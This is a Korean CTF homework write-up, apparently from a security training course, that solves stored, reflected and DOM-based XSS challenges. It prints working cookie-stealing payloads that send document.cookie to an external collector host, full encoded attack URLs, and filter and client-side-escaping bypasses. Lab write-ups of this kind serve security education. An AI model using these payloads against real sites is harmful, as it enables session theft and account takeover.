[normaltic 취업반 5기] 2023-12-27 10주차 과제 : 2번 과제 XSS 1~5번 문제+XSS Challenge 문제 플레그 찾기

2023. 12. 31. 22:08normaltic 취업반 5기/과제

 

과제 목표

 

  • XSS 1~5번 문제+XSS Challenge 문제에서 XSS 공격을 통한 플레그 찾기
  • XSS를 이용한 쿠키 탈취 스크립트 삽입된 도메인을 admin이 요청하게 만들기

 

사용 도구

 

 

XSS 1번 문제

 

  • XSS 공격 종류 : Stored XSS
  • XSS 공격 스크립트 발동 도메인 : /notice_read.php
  • XSS 공격 Payload 삽입 위치 : 게시글의 제목 부분
  • XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>

 

1) XSS 공격 포인트 찾기

 

notice_liat.php 웹 페이지

 

  게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.

 

notice_write.php

 

  게시글의 제목 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 내용 입력칸에 임의의 문자열을 입력 후 'create' 버튼을 클릭하여 게시글을 작성한다.

 

 

  글 작성이 성공했다는 팝업창을 확인하면 notice_list.php에서 작성된 게시글을 확인할 수 있다. 이제 작성된 게시글의 상세 페이지를 확인하기 위해 <script>alert(1)</script>이란 제목을 가진 게시글을 클릭하자.

 

해당 게시글의 응답 결과

 

  클릭하게 되면 해당 게시글의 상세 페이지로 이동하게 되면서 제목에 삽입된 스크립트가 작동하여 alert(1) 함수가 정상적으로 발동하는 것으로 보아 XSS 공격이 가능하다는 것을 알 수 있다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  XSS 공격 포인트인 제목 입력칸에 <script>var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;</script>를 입력 후 'update' 버튼을 클릭하여 내용을 수정해 준다. 

 

 

  수정된 게시글은 notice_list.php에서 확인될 수 있으며 스크립트가 발동되는 URL을 확인하기 위해 게시글을 클릭한다.

 

 

  게시글을 클릭하여 해당 게시글의 URL인 'http://ctf.segfaulthub.com:4343/xss_1/notice_read.php?id=724&view=1'를 복사한다.

 

관리자가 방문할 URL을 입력하는 웹 페이지
관리자가 입력한 URL에 성공적으로 접속

 

  관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.

 

 

  관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.

 

XSS 2번 문제

 

  • XSS 공격 종류 : Reflected XSS
  • XSS 공격 스크립트 발동 도메인 : /notice_list.php
  • XSS 공격 Payload 삽입 위치 : 게시글 조회 시 문자열 입력 부분
  • XSS Payload : ');var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;consol.log('

 

1) XSS 공격 포인트 찾기

 

 

  게시글 조회 시 문자열 입력칸에 임의의 문자열을 입력하게 되면 입력한 문자열이 포함된 경고 문자열이 alert 함수로 실행된다.

 

 

  /notice_list.php 웹 페이지 소스를 Burp Suite를 통해 확인한 결과, 요청 시 board_result 파라미터에 사용자가 입력한 값이 저장되고 응답 시 board_result 파라미터를 alert('board_result에 대한 검색 결과가 존재하지 않습니다.') 함수에 포함하여 alert 함수를 실행시킨다는 것을 확인할 수 있다.

 

  해당 XSS 포인트는 이미 <script></script>으로 둘러싸여 있기 때문에 스크립트 삽입 시 <script></script>는 포함하지 않고 스크립트 작동을 위한 Payload만 삽입하면 된다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  XSS 공격 포인트인 게시글 조회 시 문자열 입력칸에 ');var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;consol.log('를 입력하여 돋보기 버튼을 클릭하게 되면 아무 문자열도 포함되어 있지 않은 경고 팝업창을 볼 수 있다.

 

Payload가 삽입된 응답 결과

 

  이는 Payload 입력 시 삽입되는 위치의 특수성 때문인데 Payload는 alert('Payload에 대한 검색 결과가 존재하지 않습니다.')에서 Payload 위치에 삽입되고 Payload에 삽입된 공격 스크립트를 작동시키기 위해서는 alert 함수를 강제로 탈출시켜줘야 한다. 그러기 위해서는 Payload 앞에 '); 문자열을 삽입함으로써 alert 함수를 강제로 탈출시킨 후에 구분자 역할을 하는 세미콜론(;)을 입력하여 원하는 스크립트를 삽입하게 만든다. 그리고 Payload 뒤에는 에 대한 검색 결과가 존재하지 않습니다.')라는 문자열이 남아있기 때문에 consol.log('라는 문자열을 삽입함으로써 하나의 완전한 코드로 만들어준다.

 

  결과적으로 Payload로 삽입하게 되면 alert(''), var cookieData = document.cookie, var i =new Image(), i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData, consol.log('에 대한 검색 결과가 존재하지 않습니다.') 순으로 명령이 실행되게 된다.

 

 

  그러나 해당 웹 페이지는 파라미터를 POST 메소드로 전달하기 때문에 XSS 공격이 곤란하다. 왜냐하면 POST 메소드로 전달하게 되면 스크립트가 삽입된 URL을 클라이언트에게 노출시킬 수 없기 때문이다. 이를 해결하기 위해 해당 웹 페이지를 강제로 GET 메소드로 파라미터를 전달한다. 

 

 

  GET 메소드는 데이터를 전달할 때 URL에 포함하여 전달한다. 이를 이용하여 URL에 파라미터와 데이터를 입력 후 요청을 하게 되면 스크립트가 작동하는 것을 확인할 수 있다. 입력한 URL은 다음과 같다.

 

http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=%27);var%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src%20=%20%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;consol.log(%27&board_search=%F0%9F%94%8D&date_from=&date_to= 

 

 

  스크립트가 삽입된 URL을 관리자가 방문할 URL에 입력하면 성공적으로 접속했다는 메시지가 출력되고 관리자의 cookie 값이 전달되어 플레그를 확인할 수 있다.

 

XSS 3번 문제

 

  • XSS 공격 종류 : Reflected XSS
  • XSS 공격 스크립트 발동 도메인 : /mypage.php
  • XSS 공격 Payload 삽입 위치 : 마이페이지 파라미터 중 user 파라미터 부분
  • XSS Payload : "><script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>

 

1) XSS 공격 포인트 찾기

 

 

  mypage.php 페이지의 파라미터인 user 값이 개인정보의 첫 번째 칸에 출력된다.

 

 

  스크립트가 작동하는지 확인하기 위해 user 파라미터에 <script>alert(1)</script> 형태인 Payload를 입력했더니 Payload 그대로 응답 페이지에 출력되는 것이 확인되었다. 

 

  이를 Burp Suite를 통해 웹 페이지 소스를 확인한 결과, user 파라미터에 입력된 데이터는 input 태그에 포함되어 user 파라미터에 입력된 데이터는 문자열로 인식된다. 그렇기에 스크립트가 작동하려면 삽입되는 위치의 태그를 강제로 탈출시켜야 하며 Payload 앞에 ">을 포함하면 해결된다.

 

 

  "> 문자열을 포함한 Payload를 삽입함으로써 스크립트가 작동하는 것을 확인할 수 있다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  user 파라미터에 "><script>var cookieData = document.cookie;var i =new Image();i.src="https://en9xxpn8gvi9.x.pipedream.net/?cookie="+cookieData;</script> 형태의 데이터를 삽입하여 해당 페이지의 전체 URL을 복사한다.

 

전체 URL : http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=%22%3E%3Cscript%3Evar%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src=%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;%3C/script%3E 

 

 

  복사한 URL을 관리자가 방문할 URL에 입력하게 되면 성공적으로 접속했다는 메시지가 출력되고 관리자의 cookie 값이 전달되어 플레그를 확인할 수 있다.

 

XSS 4번 문제

 

  • XSS 공격 종류 : Stored XSS
  • XSS 공격 스크립트 발동 도메인 : /notice_read.php
  • XSS 공격 Payload 삽입 위치 : 게시글의 제목, 내용 부분
  • XSS Payload : <Script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</Script>

 

1) XSS 공격 포인트 찾기

 

 

  게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.

 

 

  게시글의 제목, 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 'create' 버튼을 클릭하여 게시글을 작성한다.

 

 

  글 작성이 성공했다는 팝업창을 확인하면 notice_list.php에서 작성된 게시글을 확인할 수 있다. 이제 작성된 게시글의 상세 페이지를 확인하기 위해 <script>alert(1)</script>이란 제목을 가진 게시글을 클릭하자.

 

 

  클릭하여 해당 게시글의 상세 페이지로 이동했더니 출력되는 제목과 내용에 'script'와 'alert'이란 문자열이 출력되지 않았다. 정확한 진단을 위해 Burp Suite로 응답 페이지 소스를 확인했으나 마찬가지로 두 문자열이 출력되지 않았다. 그리고 /notice_read.php 페이지에서 '수정' 버튼을 클릭하여 입력한 문자열이 출력되는 형태를 확인했더니 정상적으로 출력되는 것으로 보아 DB에는 입력한 문자열이 제대로 저장되었으나 /notice_read.php 페이지에 문자열이 출력될 때 'script', 'alert' 두 문자열은 필터링된 상태로 출력되는 걸로 추측 가능하다.

 

 

  태그를 명시하는 문자는 대소문자를 구분하지 않는 것과 alert 함수를 대체해서 사용할 수 있는 함수가 있다는 것을 이용해 필터링을 우회 가능하다. 'script' 문자열은 'Script'로, alert 함수 대신 confirm 함수로 대신하여 입력하고 'update' 버튼을 클릭한다.

 

 

  /notice_list.php 페이지에서 수정한 게시글의 제목을 눌러 상세 페이지로 이동하게 되면 스크립트가 정상 작동하는 것을 확인할 수 있으며 이를 통해 XSS 공격이 가능하다는 것을 확인하였다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  XSS 공격 포인트는 제목과 내용 입력칸 모두 해당되므로 둘 중에 내용 입력칸을 선택하여 스크립트를 입력 후 'update' 버튼을 클릭하여 내용을 수정해 준다. 입력한 스크립트는 다음과 같다.

 

  • <Script>var cookieData = document.cookie;var i =new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+ cookieData;</Script>

 

 

  수정된 게시글은 notice_list.php에서 확인될 수 있으며 스크립트가 발동되는 URL을 확인하기 위해 게시글을 클릭한다.

 

 

  게시글을 클릭하여 해당 게시글의 URL인 'http://ctf.segfaulthub.com:4343/xss_5/notice_read.php?id=289&view=1'를 복사한다.

 

 

  관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.

 

 

  관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.

 

XSS 5번 문제

 

  • XSS 공격 종류 : Stored XSS
  • XSS 공격 스크립트 발동 도메인 : /notice_read.php
  • XSS 공격 Payload 삽입 위치 : /notice_write_process.php 혹은 /notice_update_process.php의 내용 부분
  • XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>

 

1) XSS 공격 포인트 찾기

 

 

  게시글을 작성하기 위해 '글쓰기' 버튼을 클릭한다.

 

 

  게시글의 제목, 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력하고 'create' 버튼을 클릭하여 게시글을 작성한다. 이때 /notice_write.php 페이지의 웹 페이지 소스를 확인했더니 '<' 특수문자는 '&lt;'로, '>' 특수문자는 '&rt;'로 치환하는 스크립트 함수가 존재하였다.

 

 

  글 작성이 성공했다는 팝업창은 /notice_write_process.php 페이지에서 작동하는 것을 확인할 수 있으며 해당 웹 페이지 요청 시 전달되는 데이터를 Burp Suite를 통해 확인했더니 제목과 내용 입력칸에 입력했던 문자열이 다른 형태로 전달되는 것을 확인할 수 있다. 

 

 

  /notice_list.php 페이지에서 작성된 게시글의 상세 페이지로 이동하기 위해 게시글 제목을 클릭한다. 게시글의 상세 페이지를 요청하게 되면 작성 시 입력한 문자열은 제대로 출력되는 것을 알 수 있다. 그러나 해당 게시글 상세 페이지의 웹 페이지 소스를 확인했더니 /notice_write.php 페이지의 웹 페이지 소스에서 발견한 치환 함수가 적용된 상태로 출력된 것을 확인할 수 있었다. 

 

  해당 현상을 통해 가정할 수 있는 가설은 다음과 같다.

  • /notice_write.php 페이지에서 제목과 내용이 입력되면 제목은 입력된 문자열 그대로 /notice_write_process.php 페이지로 전달되어 그 상태로 DB에 저장된다.
  • 내용은 입력된 문자열에 포함된 '<', '>' 두 특수문자에 대한 치환이 이루어진 상태의 문자열이 /notice_write_process.php 페이지로 전달되어 DB에 저장된다.
  • /notice_read.php 페이지에서 DB에 저장된 제목과 내용 문자열 출력 시 제목 문자열에 포함된 '<', '>' 두 특수문자에 대한 치환이 이루어진 상태의 문자열이 출력된다.
  • 내용 문자열은 DB에 저장된 상태 그대로 출력된다.

 

  위 가설에 따르면 /notice_write_process.php 페이지로 요청 시 전달하는 문자열 중 내용 부분의 문자열이 /notice_write.php 페이지에서 특수문자가 치환된 상태로 전달되어 DB에 저장하기 때문에 /notice_write_process.php 페이지로 요청하는 데이터를 다시 치환 전 상태의 문자열로 변경하게 되면 DB에 저장된 내용 문자열은 /notice_read.php 페이지에서 출력 시 아무런 필터링이나 치환이 적용이 되지 않은 그 상태로 출력되어 스크립트를 작동시킬 수 있을 것이다.

 

  이에 따라 Burp Suite로 /notice_write.php에서 /notice_write_process.php로 이동할 때 인터셉트하여 내용 부분의 문자열을 변경 후에 전달하여 /notice_read.php 페이지에서 스크립트를 작동할 수 있게 한다.

 

 

  다시 게시글을 작성하여 제목과 내용 입력칸에 <script>alert(1)</script> 스크립트를 입력한다. 

 

 

  그리고 Burp Suite에서 'Intercept is off'를 'Intercept is on'으로 바꿔준 다음 /notice_write.php 페이지에서 'create'를 버튼을 클릭한다.

 

 

  /notice_write_process.php 페이지 요청 시 전달되는 웹 페이지 소스를 인터셉트하여 빨간 네모 부분을 치환 전 상태의 문자열로 변경 후에 'Intercept is on' 버튼을 클릭하여 'Intercept is off'로 변경한다.

 

 

  변경 후에는 /notice_write.php 페이지에서 /notice_write_process.php 페이지로 이동하게 되고 글 작성이 성공했다는 경고 팝업창을 볼 수 있다. 작성된 게시글은 /notice_list.php 페이지에서 확인할 수 있으며 해당 게시글의 상세 페이지를 확인하기 위해 게시글의 제목을 클릭하게 되면 작성된 스크립트가 작동되는 것을 확인할 수 있다. 이 방법을 통해서 위 가설이 참이라는 것을 증명 가능하며 XSS 공격이 가능하다는 것을 확인하였다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  XSS 공격 스크립트를 삽입하는 페이지는 /notice_write_process.php 페이지이기 때문에 /notice_write.php 페이지에 입력하는 문자열은 임의로 입력한다.

 

 

  Burp Suite에서 인터셉트를 활성화시킨 후 /notice_write.php 페이지에서 'create' 버튼을 클릭하게 되면 /notice_write._process.php 페이지를 요청하는 웹 페이지 소스를 확인 가능하다. 이때 빨간 박스 부분을 스크립트 작동을 위한 코드로 변경 후 인터셉트를 놓아준다.

 

 

  스크립트 작동 코드는 <script>var cookieData = document.cookie;var i = new Image();i.src = "https://en9xxpn8gvi9.x.pipedream.net/?cookie="+ cookieData;</script> 이다.

 

 

  글이 성공적으로 작성된 것을 확인하고 스크립트가 작동하는 URL을 복사하기 위해 게시글의 상세 페이지로 이동한다. 이후 해당 상세 페이지의 URL인 http://ctf.segfaulthub.com:4343/xss_6/notice_read.php?id=132&view=1 을 복사한다.

 

 

  관리자가 스크립트가 삽입된 URL에 방문하도록 복사한 URL을 입력하게 되면 관리자는 입력된 URL로 성공적으로 접속했다는 메시지가 출력된다.

 

 

  관리자가 접속하여 스크립트가 작동하게 되면 관리자의 cookie 값이 공격자 웹 서버로 요청되어 전달된다. 관리자의 cookie 값이 플레그이다.

 

XSS Challenge 문제

 

  • XSS 공격 종류 : DOM Based XSS
  • XSS 공격 스크립트 발동 도메인 : /notice_list.php
  • XSS 공격 Payload 삽입 위치 : 게시글 조회 시 문자열 입력 부분
  • XSS Payload : <script>var cookieData = document.cookie;var i =new Image();i.src = "공격자 도메인/?cookie="+cookieData;</script>

 

1) XSS 공격 포인트 찾기

 

 

  게시글 조회 시 문자열 입력칸에 임의의 문자열을 입력하게 되면 입력한 문자열이 포함된 문자열이 입력칸 하단에 출력되는 것을 확인 가능하다.

 

 

  /notice_list.php 웹 페이지 소스를 Burp Suite를 통해 확인한 결과, 요청 시 board_result 파라미터에 사용자가 입력한 값이 저장되고 응답 시 board_result 파라미터에 저장된 값을 keyword 변수에 저장하여 id=search_addr인 html 요소의 value 값을 keyword로 대입하고 document.write 함수로 keyword+'에 대한 검색 결과가 없습니다.'라는 문자열을 출력하는 것을 확인할 수 있다.

 

  해당 XSS 포인트는 별다른 입력값에 대한 검사가 이루어지지 않기 때문에 스크립트를 삽입하여 XSS 공격 포인트가 될 수 있다는 것을 확인한다.

 

 

  게시글 조회 시 문자열 입력칸에 <script>alert(1)</script> 형태의 스크립트를 입력하였더니 스크립트가 작동함으로써 XSS 공격이 가능하다는 것을 확인 가능하다.

 

2) XSS를 이용한 쿠키 탈취 공격

 

 

  XSS 공격 포인트는 게시글 조회 시 문자열 입력칸에 입력된 값이 /notice_list.php 페이지에 출력됨으로써 스크립트가 작동하게 된다. 이때 문자열 입력칸에 입력된 값은 board_result 파라미터에 데이터 값으로 GET 메소드 방식으로 전달되기 때문에 스크립트는 URL의 board_result 파라미터 값에 입력한다.

 

 

  스크립트가 삽입된 전체 URL은 다음과 같다.

 

http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3Cscript%3Evar%20cookieData%20=%20document.cookie;var%20i%20=new%20Image();i.src%20=%20%22https://en9xxpn8gvi9.x.pipedream.net/?cookie=%22%2bcookieData;%3C/script%3E&board_search=%F0%9F%94%8D&date_from=&date_to= 

 

  관리자가 방문할 URL 입력칸에 위 URL을 입력하였더니 성공적으로 접속했다는 내용이 출력되었다.

 

 

  스크립트가 정상적으로 작동되어 관리자의 cookie 값이 전달되어 플레그를 획득하였다.